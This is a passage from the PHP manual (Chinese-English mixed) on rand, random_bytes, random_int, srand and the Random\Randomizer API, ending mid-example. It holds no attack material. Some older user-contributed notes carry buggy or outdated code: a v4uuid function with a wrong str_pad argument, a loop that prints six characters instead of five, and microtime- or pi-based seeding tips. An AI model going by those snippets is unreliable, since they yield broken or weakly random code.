It will will no longer produce the same results after version 7.1.0. This can be very important for some kinds of simulations. Hopefully you were using mt_rand() or something better all along, otherwise you will have some digging to do if you want your program to be able to repeat simulations from the pre-7.1.0 days... You will need to look in the PHP source archives to discover the algorithm they used to use and replicate it in your program.
Anonymous 05-Mar-2010 06:41
Generate a random 5 character A-Z0-9  string

<?php
for ($i=0; $i<6; $i++) {
    $d=rand(1,30)%2;
    echo $d ? chr(rand(65,90)) : chr(rand(48,57));
}
?>

# php -r 'for ($i=0; $i<6; $i++) { $d=rand(1,30)%2; echo $d ? chr(rand(65,90)) : chr(rand(48,57)); } echo "\n";'
14BW1A
relsqui at armory dot com 21-Jan-2005 02:23
Don't forget, it's faster to use bitwise operations when you need a random number that's less than some power of two. For example,

<?php
rand()&1;
// instead of
rand(0,1);
// for generating 0 or 1,

rand()&3;
// instead of
rand(0,3);
// for generating 0, 1, 2, or 3,

rand()&7;
// instead of
rand(0,7)
// for generating 0, 1, 2, 3, 4, 5, 6, or 7,
?>

and so on. All you're doing there is generating a default random number (so PHP doesn't have to parse any arguments) and chopping off the piece that's useful to you (using a bitwise operation which is faster than even basic math).


Get cryptographically secure random bytes

  • ? rand
  • random_int ?
  • PHP Manual
  • Random 函数
  • Get cryptographically secure random bytes

random_bytes

(PHP 7, PHP 8)

random_bytes — Get cryptographically secure random bytes

说明

random_bytes(int $length): string

Generates a string containing uniformly selected random bytes with the requested length.

As the returned bytes are selected completely randomly, the resulting string is likely to contain unprintable characters or invalid UTF-8 sequences. It may be necessary to encode it before transmission or display.

The randomness generated by this function is suitable for all applications, including the generation of long-term secrets, such as encryption keys.

此函数使用的随机性来源先后顺序如下：

  • Linux：» getrandom()、/dev/urandom

  • FreeBSD >= 12（PHP >= 7.3）：» getrandom()、/dev/urandom

  • Windows（PHP >= 7.2）：» CNG-API

    Windows：» CryptGenRandom

  • macOS（PHP >= 8.2；>= 8.1.9；>= 8.0.22 如果 CCRandomGenerateBytes 在编译时可用）：CCRandomGenerateBytes()

    macOS（PHP >= 8.1；>= 8.0.2）：arc4random_buf()、/dev/urandom

  • NetBSD >= 7（PHP >= 7.1；>= 7.0.1）：arc4random_buf()、/dev/urandom

  • OpenBSD >= 5.5（PHP >= 7.1；>= 7.0.1）：arc4random_buf()、/dev/urandom

  • DragonflyBSD（PHP >= 8.1）：» getrandom()、/dev/urandom

  • Solaris（PHP >= 8.1）：» getrandom()、/dev/urandom

  • 未提及的 PHP 版本和操作系统的组合：/dev/urandom
  • 如果没有可用的来源或它们都无法生成随机性，则将抛出 Random\RandomException。

Note: 虽然此函数是 PHP 7.0 添加到 PHP 中，但是从 PHP 5.2 到 PHP 5.6 都可以用 » 用户级实现。

参数

length

The length of the random string that should be returned in bytes; must be 1 or greater.

返回值

A string containing the requested number of cryptographically secure random bytes.

错误／异常

  • 如果没有找到合适的随机性来源，将会抛出 Random\RandomException。
  • If the value of length is less than 1, a ValueError will be thrown.

更新日志

版本 | 说明
8.2.0 | In case of a CSPRNG failure, this function will now throw a Random\RandomException. Previously a plain Exception was thrown.

示例

Example #1 random_bytes() example

<?php
$bytes = random_bytes(5);
var_dump(bin2hex($bytes));
?>

以上示例的输出类似于：

string(10) "385e33f741"

参见

  • Random\Randomizer::getBytes() - Get random bytes
  • random_int() - 获取生成加密安全、均匀分布的整数
  • bin2hex() - 将二进制数据转换为十六进制表示
  • base64_encode() - 使用 MIME base64 对数据进行编码

User Contributed Notes

ccbsschucko at gmail dot com 25-May-2018 12:06
<?php
    function str_rand(int $length = 64){ // 64 = 32
        $length = ($length < 4) ? 4 : $length;
        return bin2hex(random_bytes(($length-($length%2))/2));
    }

    var_dump(str_rand());
    // d6199909d0b5fdc22c9db625e4edf0d6da2b113b21878cde19e96f4afe69e714
?>


获取生成加密安全、均匀分布的整数

  • ? random_bytes
  • srand ?
  • PHP Manual
  • Random 函数
  • 获取生成加密安全、均匀分布的整数

random_int

(PHP 7, PHP 8)

random_int — 获取生成加密安全、均匀分布的整数

说明

random_int(int $min, int $max): int

生成在指定最小值和最大值之间均匀分布的整数。

该函数生成的随机性适用于所有应用，包括生成长期秘密，如加密密钥。

此函数使用的随机性来源先后顺序如下：

  • Linux：» getrandom()、/dev/urandom

  • FreeBSD >= 12（PHP >= 7.3）：» getrandom()、/dev/urandom

  • Windows（PHP >= 7.2）：» CNG-API

    Windows：» CryptGenRandom

  • macOS（PHP >= 8.2；>= 8.1.9；>= 8.0.22 如果 CCRandomGenerateBytes 在编译时可用）：CCRandomGenerateBytes()

    macOS（PHP >= 8.1；>= 8.0.2）：arc4random_buf()、/dev/urandom

  • NetBSD >= 7（PHP >= 7.1；>= 7.0.1）：arc4random_buf()、/dev/urandom

  • OpenBSD >= 5.5（PHP >= 7.1；>= 7.0.1）：arc4random_buf()、/dev/urandom

  • DragonflyBSD（PHP >= 8.1）：» getrandom()、/dev/urandom

  • Solaris（PHP >= 8.1）：» getrandom()、/dev/urandom

  • 未提及的 PHP 版本和操作系统的组合：/dev/urandom
  • 如果没有可用的来源或它们都无法生成随机性，则将抛出 Random\RandomException。

Note: 虽然此函数是 PHP 7.0 添加到 PHP 中，但是从 PHP 5.2 到 PHP 5.6 都可以用 » 用户级实现。

参数

min

要返回的最小值。

max

要返回的最大值。

返回值

从闭合区间 [min, max] 返回加密安全、均匀分布的整数。min 和 max 都有可能返回。

错误／异常

  • 如果没有找到合适的随机性来源，将会抛出 Random\RandomException。
  • 如果 max 小于 min，将会抛出 ValueError。

更新日志

版本 | 说明
8.2.0 | CSPRNG 失败时，此函数现在将抛出 Random\RandomException。之前抛出普通的 Exception。

示例

Example #1 random_int() 示例

<?php
var_dump(random_int(100, 999));
var_dump(random_int(-1000, 0));
?>

以上示例的输出类似于：

int(248)
int(-898)

参见

  • Random\Randomizer::getInt() - Get a uniformly selected integer
  • random_bytes() - Get cryptographically secure random bytes

User Contributed Notes

Hayley Watson 02-Sep-2023 12:51
A small function for generating version 4 GUIDs.

<?php
function v4uuid()
{
    $a = str_pad(dechex(random_int(0x0000_0000, 0xffff_ffff)), '0', STR_PAD_LEFT);
    $b = str_pad(dechex(random_int(0x0000, 0xffff)), '0', STR_PAD_LEFT);
    $c = dechex(random_int(0x4000, 0x4fff));
    $d = dechex(random_int(0x8000, 0xbfff));
    $e = str_pad(dechex(random_int(0x0000_0000_0000, 0xffff_ffff_ffff)), '0', STR_PAD_LEFT);
    return "$a-$b-$c-$d-$e";
}
?>
bens at effortlessis dot com 05-Sep-2020 04:21
On my system (5th gen i7) random_int() takes about 14x longer to do the same number of calculations than rand().

for ($i=0; $i<10000000; $i++)
        $x = rand(1, PHP_INT_MAX);

Takes 0.86 seconds for rand(), 12.29 seconds for random_int(). So use random_int() somewhat sparingly.

If it's not really important to be truly random, use rand() instead, especially in a tight loop.
ccb_bc at hotmail dot com 04-Jul-2019 03:02
<?php
    // PHP >= 7
    function str_rand(int $length = 16){
        $x = '';
        for($i = 1; $i <= $length; $i++){
            $x .= dechex(random_int(0,255));
        }
        return substr($x, 0, $length);
    }
    var_dump(str_rand());
?>
s rotondo90 at gmail com 30-Jul-2016 01:11
Here is a simple backporting function, it works for PHP >= 5.1

<?php
if (!function_exists('random_int')) {
    function random_int($min, $max) {
        if (!function_exists('mcrypt_create_iv')) {
            trigger_error(
                'mcrypt must be loaded for random_int to work',
                E_USER_WARNING
            );
            return null;
        }

        if (!is_int($min) || !is_int($max)) {
            trigger_error('$min and $max must be integer values', E_USER_NOTICE);
            $min = (int)$min;
            $max = (int)$max;
        }

        if ($min > $max) {
            trigger_error('$max can\'t be lesser than $min', E_USER_WARNING);
            return null;
        }

        $range = $counter = $max - $min;
        $bits = 1;

        while ($counter >>= 1) {
            ++$bits;
        }

        $bytes = (int)max(ceil($bits/8), 1);
        $bitmask = pow(2, $bits) - 1;

        if ($bitmask >= PHP_INT_MAX) {
            $bitmask = PHP_INT_MAX;
        }

        do {
            $result = hexdec(
                bin2hex(
                    mcrypt_create_iv($bytes, MCRYPT_DEV_URANDOM)
                )
            ) & $bitmask;
        } while ($result > $range);

        return $result + $min;
    }
}
?>

Randomness test

<?php
$max = 100; // number of random values
$test = 1000000;

$array = array_fill(0, $max, 0);

for ($i = 0; $i < $test; ++$i) {
    ++$array[random_int(0, $max-1)];
}

function arrayFormatResult(&$item) {
    global $test, $max; // try to avoid this nowdays ;)

    $perc = ($item/($test/$max))-1;
    $item .= ' '. number_format($perc, 4, '.', '') .'%';
}

array_walk($array, 'arrayFormatResult');

print_r($array);
?>


播下随机数发生器种子

  • ? random_int
  • Random\Randomizer ?
  • PHP Manual
  • Random 函数
  • 播下随机数发生器种子

srand

(PHP 4, PHP 5, PHP 7, PHP 8)

srand — 播下随机数发生器种子

说明

srand(int $seed = 0, int $mode = MT_RAND_MT19937): void

使用 seed 播下随机数发生器种子，或者seed 是 0 时，使用随时值。

Note: 不再需要用 srand() 或 mt_srand() 给随机数发生器播种，因为现在是由系统自动完成的。

Caution

由于 Mt19937（"梅森旋转算法"）引擎仅接受 32 位整数作为种子，因此尽管 Mt19937 的范围为 219937-1，但可能的随机序列数量仅限于 232（即 4,294,967,296）。

当依赖隐式或显式随机播种时，重复会出现得更早。根据生日问题，在少于 80,000 个随机生成的种子后，预计重复种子的概率为 50%。在随机生成大约 30,000 个种子后，重复种子的概率为 10%。

This makes Mt19937 unsuitable for applications where duplicated sequences must not happen with more than a negligible probability. 如果需要可重复的种子，Random\Engine\Xoshiro256StarStar 和 Random\Engine\PcgOneseq128XslRr64 引擎都支持更大的种子，它们不太可能随机碰撞。如果不需要再现性，Random\Engine\Secure 引擎提供加密安全随机性。

Note: 自 PHP 7.1.0 起，srand() 成为 mt_srand() 的别名。

参数

seed

任意 int 种子值。

返回值

没有返回值。

更新日志

版本 | 说明
7.1.0 | srand() 成为 mt_srand() 的别名。

参见

  • rand() - 产生一个随机整数
  • getrandmax() - 显示随机数最大的可能值
  • mt_srand() - 播下一个更好的随机数发生器种子

User Contributed Notes

Glauco Lins 09-Sep-2015 11:09
srand and mt_srand are both initialized only once per process ID.

You cannot re-seed your rand algorithms after the first "srand", "mt_srand", "rand", "mt_rand", "shuffle", or any other rand-like function.

I have been facing an issue where after forking my process, all childs were generating exactly the same rand values.
This was due a first "shuffle" call on the parent process, so I could not re-seed the childs.

To solve my issue, I simple called "rand" N times, to offset the child rand generators.

# Offset the child rand generator by its PID
$n = (getmypid() % 100) * (10 * abs(microtime(true) - time()));
for ($n; $n > 0; $n--) {
      rand(0, $n);
}

Since each pcntl_fork takes a while to be completed, the microtime offers an extra offset, other than one PID increment.

This small code will make at the WORST hypothesis 1000 iterations.
Niels Keurentjes 25-Feb-2011 05:22
Keep in mind that the Suhosin patch which is installed by default on many PHP-installs such as Debian and DirectAdmin completely disables the srand and mt_srand functions for encryption security reasons. To generate reproducible random numbers from a fixed seed on a Suhosin-hardened server you will need to include your own pseudorandom generator code.
harmen at no dot spam dot rdzl dot nl 10-Apr-2009 10:53
To generate a random number which is different every day, I used the number of days after unix epoch as a seed:

<?php
   srand(floor(time() / (60*60*24)));
   echo rand() % 100;
?>

My provider upgraded the php server recently, and calling srand(seed) does not seem to set the seed anymore. To let srand set the seed, add the following line to your .htaccess file

php_value suhosin.srand.ignore 0

Kudos to doc_z (http://www.webmasterworld.com/php/3777515.htm)

Harmen
bootc at bootc dot net 06-Jun-2005 08:03
OK, to summarize what people have been saying so far:

1. DO NOT seed the RNG more than once if you can help it!
2. You HAVE TO seed the RNG yourself if you are using PHP < 4.2.0.
3. Using a prime multiplier to microtime() probably does very little. Use the Mersenne Twister instead.
4. You can use the Mersenne Twister PRNG with the mt_rand and mt_srand functions. This is faster and is more random.
edublancoa at gmail dot com 23-Dec-2004 01:39
Another use of srand is to obtain the same value of rand in a determined time interval. Example: you have an array of 100 elements and you need to obtain a random item every day but not to change in the 24h period (just imagine "Today's Photo" or similar).
<?php
$seed = floor(time()/86400);
srand($seed);
$item = $examplearray[rand(0,99)];
?>
You obtain the same value every time you load the page all the 24h period.
mlwmohawk at mohawksoft dot com 02-Nov-2001 07:51
srand() is pretty tricky to get right. You should never seed a random number generator more than once per php process, if you do, your randomness is limited to the source of your seed.

The microtime function's micro-seconds portion has a very finite resolution, that is why the make_seed function was added to the document. You should never get the same seed twice.

In the later CVS versions, PHP will seed the random generator prior to performing a rand() if srand() was not previously called.
14-Aug-2001 10:14
I have a ramdon circulater that changes a piece of text once a day, and I use the following code to make sure the see is unique enough.

$tm = time();
$today = mktime(0, 0, 0, (int)date("n", $tm), (int)date("j", $tm), (int)date("Y", $tm));
srand($today / pi());

The pi works wonders for the whole thing and it works like a charm. Any other big decimal number will do as well, but pi is the most common "big" number.
akukula at min dot pl 14-Aug-2001 07:14
Calling srand((double)microtime()*1000000),
then $a=rand(1000000,9999999), then srand((double)microtime()*$a)
adds nothing to the entrophy: the execution time of rand and srand is
constant, so the second microtime() produces nothing really fascinating. You may safely use just the first srand().
rjones at ditzed dot org 29-May-2001 12:02
As a sidenote on the usage of srand():

If you are making use of modular programming, it is probably better to try and call the srand routine from the parent script than from any modules you may be using (using REQUIRE or INCLUDE).
This way you get around the possibility of calling srand() more than once from different modules.

The flaw in this solution, of course, is when using modules produced by another programmer, or when producing modules for another programmer.
You cannot rely on another programmer calling the srand function before calling the modular function, so you would have to include the srand function inside the module in this case.

If you produce modules for use by other programmers then it is good practice to documentise the fact you have already called the srand function.
Or if you use a modular function produced by someone else, check their documentation, or check their source code.
rjones at ditzed dot org 29-May-2001 11:41
Use the srand() seed "(double)microtime()*1000000" as mentioned by the richard@zend.com at the top of these user notes.

The most notable effect of using any other seed is that your random numbers tend to follow the same, or very similar, sequences each time the script is invoked.

Take note of the following script:

<?php
  srand($val);

  echo rand(0, 20) . ", ";
  echo rand(0, 20) . ", ";
  echo rand(0, 20) . ", ";
  echo rand(0, 20) . ", ";
  echo rand(0, 20);
?>

If you seed the generator with a constant, say; the number 5 ($val = 5), then the sequence generated is always the same, in this case (0, 18, 7, 15, 17) (for me at least, different processors/processor speeds/operating systems/OS releases/PHP releases/webserver software may generate different sequences).

If you seed the generator with time(), then the sequence is more random, but invokations that are very close together will have similar outputs.

As richard@zend.com above suggests, the best seed to use is (double) microtime() * 1000000, as this gives the greatest amount of psuedo-randomness. In fact, it is random enough to suit most users.
In a test program of 100000 random numbers between 1 and 20, the results were fairly balanced, giving an average of 5000 results per number, give or take 100. The deviation in each case varied with each invokation.
MakeMoolah at themail dot com 28-Jan-2001 03:16
Sorry about that...  ok, forget have of what I said up there ^.

The code that would prove my example is this:

<?php
srand(5);
echo(rand(1, 10));
srand(5);
echo(rand(1, 10));
srand(5);
echo(rand(1, 10));
?>

Each time you SHOULD get the same answer, but if you did this:

<?php
srand(5);
echo(rand(1, 10));
echo(rand(1, 10));
echo(rand(1, 10));
?>

then the answers would be different, and you'd be letting the random number formula do it's duty.
hagen at von-eitzen dot de 10-Oct-2000 03:51
It is REALLY essential to make sure that srand is called only once.
This is a bit difficult if the call is hidden somewhere in third-party code you include. For example, I used a standard banner script that *seemed* to work well putting
three random banners in one frame. But in the long run, the choice appeared
somewhat biased - probably because srand was called once per banner, not
once per run.
It would be nice if the random number generator worked like in PERL: If You use the random function without having called srand ever before in a script,
srand is invoked before (and automatically with a nice seed, hopefully).
I suggest that one should do something like this:

<?php
if (!$GLOBALS["IHaveCalledSrandBefore"]++) {
  srand((double) microtime() * 1000000);
}
?>

(Depending on the situation, one might also work with a static variable instead)


The Random\Randomizer class

(PHP 8 >= 8.2.0)

简介

Provides a high-level API to the randomness provided by an Random\Engine.

类摘要

final class Random\Randomizer {
/* 属性 */
public readonly Random\Engine $engine;
/* 方法 */
public __construct(?Random\Engine $engine = null)
public getBytes(int $length): string
public getBytesFromString(string $string, int $length): string
public getFloat(float $min, float $max, Random\IntervalBoundary $boundary = Random\IntervalBoundary::ClosedOpen): float
public getInt(int $min, int $max): int
public nextFloat(): float
public nextInt(): int
public pickArrayKeys(array $array, int $num): array
public __serialize(): array
public shuffleArray(array $array): array
public shuffleBytes(string $bytes): string
public __unserialize(array $data): void
}

属性

engine

The low-level source of randomness for the Random\Randomizer's methods.

Table of Contents

  • Random\Randomizer::__construct — Constructs a new Randomizer
  • Random\Randomizer::getBytes — Get random bytes
  • Random\Randomizer::getBytesFromString — Get random bytes from a source string
  • Random\Randomizer::getFloat — Get a uniformly selected float
  • Random\Randomizer::getInt — Get a uniformly selected integer
  • Random\Randomizer::nextFloat — Get a float from the right-open interval [0.0, 1.0)
  • Random\Randomizer::nextInt — Get a positive integer
  • Random\Randomizer::pickArrayKeys — Select random array keys
  • Random\Randomizer::__serialize — Serializes the Randomizer object
  • Random\Randomizer::shuffleArray — Get a permutation of an array
  • Random\Randomizer::shuffleBytes — Get a byte-wise permutation of a string
  • Random\Randomizer::__unserialize — Deserializes the data parameter into a Randomizer object

User Contributed Notes

There are no user contributed notes for this page.


Constructs a new Randomizer

  • ? Random\Randomizer
  • Random\Randomizer::getBytes ?
  • PHP Manual
  • Random\Randomizer
  • Constructs a new Randomizer

Random\Randomizer::__construct

(PHP 8 >= 8.2.0)

Random\Randomizer::__construct — Constructs a new Randomizer

说明

public Random\Randomizer::__construct(?Random\Engine $engine = null)

Warning

本函数还未编写文档，仅有参数列表。

参数

engine

The Random\Engine to use to generate randomness.

If engine is omitted or null, a new Random\Engine\Secure object will be used.

示例

Example #1 Random\Randomizer::__construct() example

<?php

/* ... */

?>

以上示例的输出类似于：

...

User Contributed Notes

There are no user contributed notes for this page.


Get random bytes

  • ? Random\Randomizer::__construct
  • Random\Randomizer::getBytesFromString ?
  • PHP Manual
  • Random\Randomizer
  • Get random bytes

Random\Randomizer::getBytes

(PHP 8 >= 8.2.0)

Random\Randomizer::getBytes — Get random bytes

说明

public Random\Randomizer::getBytes(int $length): string

Generates a string containing uniformly selected random bytes with the requested length.

As the returned bytes are selected completely randomly, the resulting string is likely to contain unprintable characters or invalid UTF-8 sequences. It may be necessary to encode it before transmission or display.

参数

length

The length of the random string that should be returned in bytes; must be 1 or greater.

返回值

A string containing the requested number of random bytes.

错误／异常

  • If the value of length is less than 1, a ValueError will be thrown.
  • 底层 Random\Randomizer::$engine 的 Random\Engine::generate() 方法抛出的任何 Throwable。

示例

Example #1 Random\Randomizer::getBytes() example

<?php
$r = new \Random\Randomizer();

echo bin2hex($r->getBytes(8)), "\n";
?>

以上示例的输出类似于：

ebdbe93cd56682c2

参见

  • random_bytes() - Get cryptographically secure random bytes
  • bin2hex() - 将二进制数据转换为十六进制表示
  • base64_encode() - 使用 MIME base64 对数据进行编码
  • Random\Randomizer::getBytesFromString() - Get random bytes from a source string

User Contributed Notes

There are no user contributed notes for this page.


Get random bytes from a source string

  • ? Random\Randomizer::getBytes
  • Random\Randomizer::getFloat ?
  • PHP Manual
  • Random\Randomizer
  • Get random bytes from a source string

Random\Randomizer::getBytesFromString

(PHP 8 >= 8.3.0)

Random\Randomizer::getBytesFromString — Get random bytes from a source string

说明

public Random\Randomizer::getBytesFromString(string $string, int $length): string

Generates a string containing uniformly selected random bytes from the input string with the requested length.

The chance for a byte to be selected is proportional to its share of the input string. If each byte occurs the same amount of times, each byte is equally likely to be selected.

参数

string

The string from which the returned bytes are selected.

length

The length of the random string that should be returned in bytes; must be 1 or greater.

返回值

A string containing the requested number of random bytes taken from the input string.

错误／异常

  • If string is empty, a ValueError will be thrown.
  • If the value of length is less than 1, a ValueError will be thrown.
  • 底层 Random\Randomizer::$engine 的 Random\Engine::generate() 方法抛出的任何 Throwable。

示例

Example #1 Random\Randomizer::getBytesFromString() example

<?php
$randomizer = new \Random\Randomizer();

printf(
"%s.example.com",
$randomizer->getBytesFromString('abcdefghijklmnopqrstuvwxyz0123456789', 16)
);
?>

以上示例的输出类似于：

3zsw04eiubcf82jd.example.com

Example #2 Generate a random code for multi-factor authentication

<?php
// The Secure engine is the default, but we make it explicit, because
// multi-factor codes are security sensitive.
$randomizer = new \Random\Randomizer(new \Random\Engine\Secure());

echo implode('-', str_split($randomizer->getBytesFromString('0123456789', 20), 5));
?>

以上示例的输出类似于：

11551-80418-27047-42075

Example #3 Select from a string with a non-uniform distribution

<?php
$randomizer = new \Random\Randomizer();

echo $randomizer->getBytesFromString('aaaaabcdef', 20);
?>

以上示例的输出类似于：

fddacbeaaeaaacaaaaca

参见

  • Random\Randomizer::getBytes() - Get random bytes

User Contributed Notes

There are no user contributed notes for this page.


Get a uniformly selected float

  • ? Random\Randomizer::getBytesFromString
  • Random\Randomizer::getInt ?
  • PHP Manual
  • Random\Randomizer
  • Get a uniformly selected float

Random\Randomizer::getFloat

(PHP 8 >= 8.3.0)

Random\Randomizer::getFloat — Get a uniformly selected float

说明

public Random\Randomizer::getFloat(float $min, float $max, Random\IntervalBoundary $boundary = Random\IntervalBoundary::ClosedOpen): float

Returns a uniformly selected, equidistributed float from a requested interval.

Due to the limited precision, not all real numbers can be exactly represented as a floating point number. If a number cannot be represented exactly, it is rounded to the nearest representable exact value. Furthermore, floats are not equally dense across the whole number line. Because floats use a binary exponent, the distance between two neighboring floats doubles at each power of two. In other words: There are the same number of representable floats between 1.0 and 2.0 as they are between 2.0 and 4.0, 4.0 and 8.0, 8.0 and 16.0, and so on.

Randomly sampling an arbitrary number within the requested interval, for example by dividing two integers, might result in a biased distribution for this reason. The necessary rounding will cause some floats to be returned more often than others, especially around powers of two when the density of floats changes.

Random\Randomizer::getFloat() implements an algorithm that will return a uniformly selected float from the largest possible set of exactly representable and equidistributed floats within the requested interval. The distance between the selectable floats ("step size") matches the distance between the floats with the lowest density, i.e. the distance between floats at interval boundary with the larger absolute value. This means that not all representable floats within a given interval may be returned if the interval crosses one or more powers of two. Stepping will start from the interval boundary with the larger absolute value to ensure the steps align with the exactly representable floats.

Closed interval boundaries will always be included in the set of selectable floats. Thus, if the size of the interval is not an exact multiple of the step size and the boundary with the smaller absolute value is a closed boundary, the distance between that boundary and its nearest selectable float will be smaller than the step size.

Caution

Post-processing the returned floats is likely going to break the uniform equidistribution, because the intermediate floats within a mathematical operation are experiencing implicit rounding. The requested interval should match the desired interval as closely as possible and rounding should only be performed as an explicit operation right before displaying the selected number to a user.

Explanation of the Algorithm Using Example Values

To give an example of how the algorithm works, consider a floating point representation that uses a 3-bit mantissa. This representation is capable of representing 8 different floating point values between consecutive powers of two. This means that between 1.0 and 2.0 all steps of size 0.125 are exactly representable and between 2.0 and 4.0 all steps of size 0.25 are exactly representable. In reality PHP's floats use a 52-bit mantissa and can represent 252 different values between each power of two. This means that

  • 1.0
  • 1.125
  • 1.25
  • 1.375
  • 1.5
  • 1.625
  • 1.75
  • 1.875
  • 2.0
  • 2.25
  • 2.5
  • 2.75
  • 3.0
  • 3.25
  • 3.5
  • 3.75
  • 4.0
are the exactly representable floats between 1.0 and 4.0.

Now consider that $randomizer->getFloat(1.625, 2.5, IntervalBoundary::ClosedOpen) is called, i.e. a random float starting at 1.625 until, but not including, 2.5 is requested. The algorithm first determines the step size at the boundary with the larger absolute value (2.5). The step size at that boundary is 0.25.

Note that the size of the requested interval is 0.875, which is not an exact multiple of 0.25. If the algorithm would start stepping at the lower bound 1.625, it would encounter 2.125, which is not exactly representable and would experience implicit rounding. Thus the algorithm starts stepping at the upper boundary 2.5. The selectable values are:

  • 2.25
  • 2.0
  • 1.75
  • 1.625
2.5 is not included, because the upper boundary of the requested interval is an open boundary. 1.625 is included, even though its distance to the nearest value 1.75 is 0.125, which is smaller than the previously determined step size of 0.25. The reason for that is that the requested interval is closed at the lower boundary (1.625) and closed boundaries are always included.

Finally the algorithm uniformly selects one of the four selectable values at random and returns it.

Why Dividing Two Integers Does Not Work

In the previous example, there are eight representable floating point numbers between each sub-interval delimited by a power of two. To give an example why dividing two integers would not work well to generate a random float, consider that there are 16 equidistributed floating point numbers in the right-open interval from 0.0 until, but not including, 1.0. Half of them are the eight exactly representable values between 0.5 and 1.0, the other half are the values between 0.0 and 1.0 that the step size of 0.0625. These can easily be generated by dividing a random integer between 0 and 15 by 16 to obtain one of:

  • 0.0
  • 0.0625
  • 0.125
  • 0.1875
  • 0.25
  • 0.3125
  • 0.375
  • 0.4375
  • 0.5
  • 0.5625
  • 0.625
  • 0.6875
  • 0.75
  • 0.8125
  • 0.875
  • 0.9375

This random float could be scaled to right-open interval from 1.625 until, but not including, 2.75 by multiplying it with the size of the interval (0.875) and adding the minimum 1.625. This so-called affine transformation would result in the values:

  • 1.625 rounded to 1.625
  • 1.679 rounded to 1.625
  • 1.734 rounded to 1.75
  • 1.789 rounded to 1.75
  • 1.843 rounded to 1.875
  • 1.898 rounded to 1.875
  • 1.953 rounded to 2.0
  • 2.007 rounded to 2.0
  • 2.062 rounded to 2.0
  • 2.117 rounded to 2.0
  • 2.171 rounded to 2.25
  • 2.226 rounded to 2.25
  • 2.281 rounded to 2.25
  • 2.335 rounded to 2.25
  • 2.390 rounded to 2.5
  • 2.445 rounded to 2.5
Note how the upper boundary of 2.5 would be returned, despite being an open boundary and thus being excluded. Also note how 2.0 and 2.25 are twice as likely to be returned compared to the other values.

参数

min

The lower bound of the interval.

max

The upper bound of the interval.

boundary

Specifies whether the interval boundaries are possible return values.

返回值

A uniformly selected, equidistributed float from the interval specified by min, max, and boundary. Whether min and max are possible return values depends on the value of boundary.

错误／异常

  • If the value of min is not finite (is_finite()), a ValueError will be thrown.
  • If the value of max is not finite (is_finite()), a ValueError will be thrown.
  • If the requested interval does not contain any values, a ValueError will be thrown.
  • 底层 Random\Randomizer::$engine 的 Random\Engine::generate() 方法抛出的任何 Throwable。

示例

Example #1 Random\Randomizer::getFloat() example

<?php
$randomizer = new \Random\Randomizer();

// Note that the latitude granularity is double the
// longitude's granularity.
//
// For the latitude the value may be both -90 and 90.
// For the longitude the value may be 180, but not -180, because
// -180 and 180 refer to the same longitude.
printf(
"Lat: %+.6f Lng: %+.6f",
$randomizer->getFloat(-90, 90, \Random\IntervalBoundary::ClosedClosed),
$randomizer->getFloat(-180, 180, \Random\IntervalBoundary::OpenClosed),
);
?>

以上示例的输出类似于：

Lat: +69.244304 Lng: -53.548951

注释

Note:

This method implements the γ-section algorithm as published in » Drawing Random Floating-Point Numbers from an Interval. Frédéric Goualard, ACM Trans. Model. Comput. Simul., 32:3, 2022 to obtain the desired behavioral properties.

参见

  • Random\Randomizer::nextFloat() - Get a float from the right-open interval [0.0, 1.0)
  • Random\Randomizer::getInt() - Get a uniformly selected integer

User Contributed Notes

There are no user contributed notes for this page.


Get a uniformly selected integer

  • ? Random\Randomizer::getFloat
  • Random\Randomizer::nextFloat ?
  • PHP Manual
  • Random\Randomizer
  • Get a uniformly selected integer

Random\Randomizer::getInt

(PHP 8 >= 8.2.0)

Random\Randomizer::getInt — Get a uniformly selected integer

说明

public Random\Randomizer::getInt(int $min, int $max): int

Warning

本函数还未编写文档，仅有参数列表。

参数

min

The lowest value to be returned.

max

The highest value to be returned.

返回值

A uniformly selected integer from the closed interval [min, max]. Both min and max are possible return values.

错误／异常

  • If max is less than min, a ValueError will be thrown.
  • 底层 Random\Randomizer::$engine 的 Random\Engine::generate() 方法抛出的任何 Throwable。

示例

Example #1 Random\Randomizer::getInt() example

<?php
$r = new \Random\Randomizer();

// Random integer in range:
echo $r->getInt(1, 100), "\n";
?>

以上示例的输出类似于：

42

参见

  • random_int() - 获取生成加密安全、均匀分布的整数
  • Random\Randomizer::getFloat() - Get a uniformly selected float

User Contributed Notes

There are no user contributed notes for this page.


Get a float from the right-open interval [0.0, 1.0)

  • ? Random\Randomizer::getInt
  • Random\Randomizer::nextInt ?
  • PHP Manual
  • Random\Randomizer
  • Get a float from the right-open interval [0.0, 1.0)

Random\Randomizer::nextFloat

(PHP 8 >= 8.3.0)

Random\Randomizer::nextFloat — Get a float from the right-open interval [0.0, 1.0)

说明

public Random\Randomizer::nextFloat(): float

Returns a uniformly selected, equidistributed float from the right-open interval from 0.0 until, but not including, 1.0.

The chance for returned float to be within a given right-open sub-interval is proportial to the size of the sub-interval. This means that the chance for a float to be less than 0.5 is 50 %, which is equal to the chance for a float to be at least 0.5. Likewise the chance for a float to be within the right-open interval from 0.2 until, but not including, 0.25 is exactly 5 %.

This property makes it easy to leverage Random\Randomizer::nextFloat() to generate a random boolean with a given chance by checking if the returned float is less than a given chance.

Note:

The domain of the returnable floats of Random\Randomizer::nextFloat() is identical to that of Randomizer::getFloat(0.0, 1.0, IntervalBoundary::ClosedOpen).

The internal implementation of Random\Randomizer::nextFloat() is more efficient.

Caution

Scaling the return value to a different interval using multiplication or addition (a so-called affine transformation) might result in a bias in the resulting value as floats are not equally dense across the number line. As not all values can be exactly represented by a float, the result of the affine transformation might also result in values outside of the requested interval due to implicit rounding. An in-depth explanation of the problems with the affine transformation is given in the documentation for Random\Randomizer::getFloat().

Use Random\Randomizer::getFloat() to generate a random float within an arbitrary interval. Use Random\Randomizer::getInt() to generate a random integer within an arbitrary interval.

参数

此函数没有参数。

返回值

A uniformly selected, equidistributed float from the right-open (IntervalBoundary::ClosedOpen) interval [0.0, 1.0). 0.0 is a possible return value, 1.0 is not.

错误／异常

  • 底层 Random\Randomizer::$engine 的 Random\Engine::generate() 方法抛出的任何 Throwable。

示例

Example #1 Random\Randomizer::nextFloat() example

<?php
$r = new \Random\Randomizer();

// The resulting bool will be true with the given chance.
$chance = 0.5;

$bool = $r->nextFloat() < $chance;

echo ($bool ? "You won" : "You lost"), "\n";
?>

以上示例的输出类似于：

You won

Example #2 Incorrect scaling using an affine transformation

<?php
final class MaxEngine implements Random\Engine {
public function generate(): string {
return "\xff";
}
}

$randomizer = new \Random\Randomizer(new MaxEngine);

$min = 3.5;
$max = 4.5;

// DO NOT DO THIS:
//
// This will output 4.5, despite nextFloat() sampling from
